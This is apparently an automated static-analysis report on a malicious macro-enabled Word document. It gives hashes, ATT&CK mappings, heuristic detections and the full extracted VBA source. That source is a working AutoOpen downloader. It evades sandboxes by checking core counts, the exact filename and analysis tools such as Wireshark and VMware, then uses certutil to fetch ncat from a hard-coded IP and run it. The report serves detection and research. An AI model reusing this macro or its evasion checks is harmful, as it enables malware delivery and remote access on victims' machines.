Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d1d46a8f7986576b…

MALICIOUS

Office (OOXML)

20.6 KB Created: 2021-06-03 14:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 935d5194642859f8baab87dc8b769a4b SHA-1: 51d934deebd603ae91cffbb4bb53c542c632fba6 SHA-256: d1d46a8f7986576b9c651303d9e390d6e09ad0137cff190d6255bdf554ff9aca
430 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1071.001 Web Protocols

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro executes a series of checks, including virtual machine detection and specific filename verification, before potentially executing further actions. The presence of WScript.Shell, Shell(), cmd.exe references, and the ClamAV detection signature 'Win.Downloader.CertutilURLCache-6335698-0' strongly indicate a downloader or droppper functionality.

Heuristics 10

  • ClamAV: Win.Downloader.CertutilURLCache-6335698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Downloader.CertutilURLCache-6335698-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            Dim objShell
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
            Set objShell = CreateObject("WScript.Shell")
        objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Dim objShell
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
            Set objShell = CreateObject("WScript.Shell")
        objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/ncat1.exe In document text (OOXML body / shared strings)
    • http://1�92.168.�In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2398 bytes
SHA-256: 0aa474d84df52fd5a0717544dea5ebb798287b921a3a70f1824e907ca1aa26da
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

    Dim i
    badCores = 0

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
    
    For Each objItem In colItems
    
            If objItem.NumberOfCores < 3 Then
                badCores = True
            End If
        
    Next

    If badCores = True Then
        
        i = 1
        
    Else
            
            checkPreciseFileName

        
    End If


 

End Sub

Private Function MSG()
'Sub MSG()
 MsgBox ("TEST")
End Function


Public Sub checkPreciseFileName()

    'MsgBox "[*] Checking Precise Filename ..."
    
    badName = False

  
    If ActiveDocument.Name <> "certutil2_0_58_only_certutil_TEST2_cores_exact_filename_badtask.docm" Then
            badName = True
    End If
 
    If badName Then
        i = 1
       'MsgBox "DETECTED"
       
    Else
    
        checkTasks
        
        
        'MsgBox "OK"
    End If
    
End Sub



Public Sub checkTasks()

    'printMsg "[*] Checking Application.Tasks.Name ..."

    badTask = False
    'badTaskNames = Array("vbox", "vmware", "vxstream", "autoit", "vmtools", "tcpview", "wireshark", "process explorer", "visual basic", "fiddler")
     badTaskNames = Array("fiddler", "vbox", "vmware", "vxstream", "autoit", "vmtools", "tcpview", "wireshark", "process explorer")
     'badTaskNames = Array("visual basic")
    For Each Task In Application.Tasks
    
        For Each badTaskName In badTaskNames
            If InStr(LCase(Task.Name), badTaskName) > 0 Then
                badTask = True
            End If
        Next
        
    Next

    If badTask Then
        
        MsgBox "DETECTED"
    Else
        
        Dim objShell
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
        
        
    End If
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 21504 bytes
SHA-256: 9a59665c7862deac7ba462e3aae225cd3f9d909ebcc90dc8a934fa5683e9f9a7
Detection
ClamAV: Win.Downloader.CertutilURLCache-6335698-0
Obfuscation or payload: unlikely

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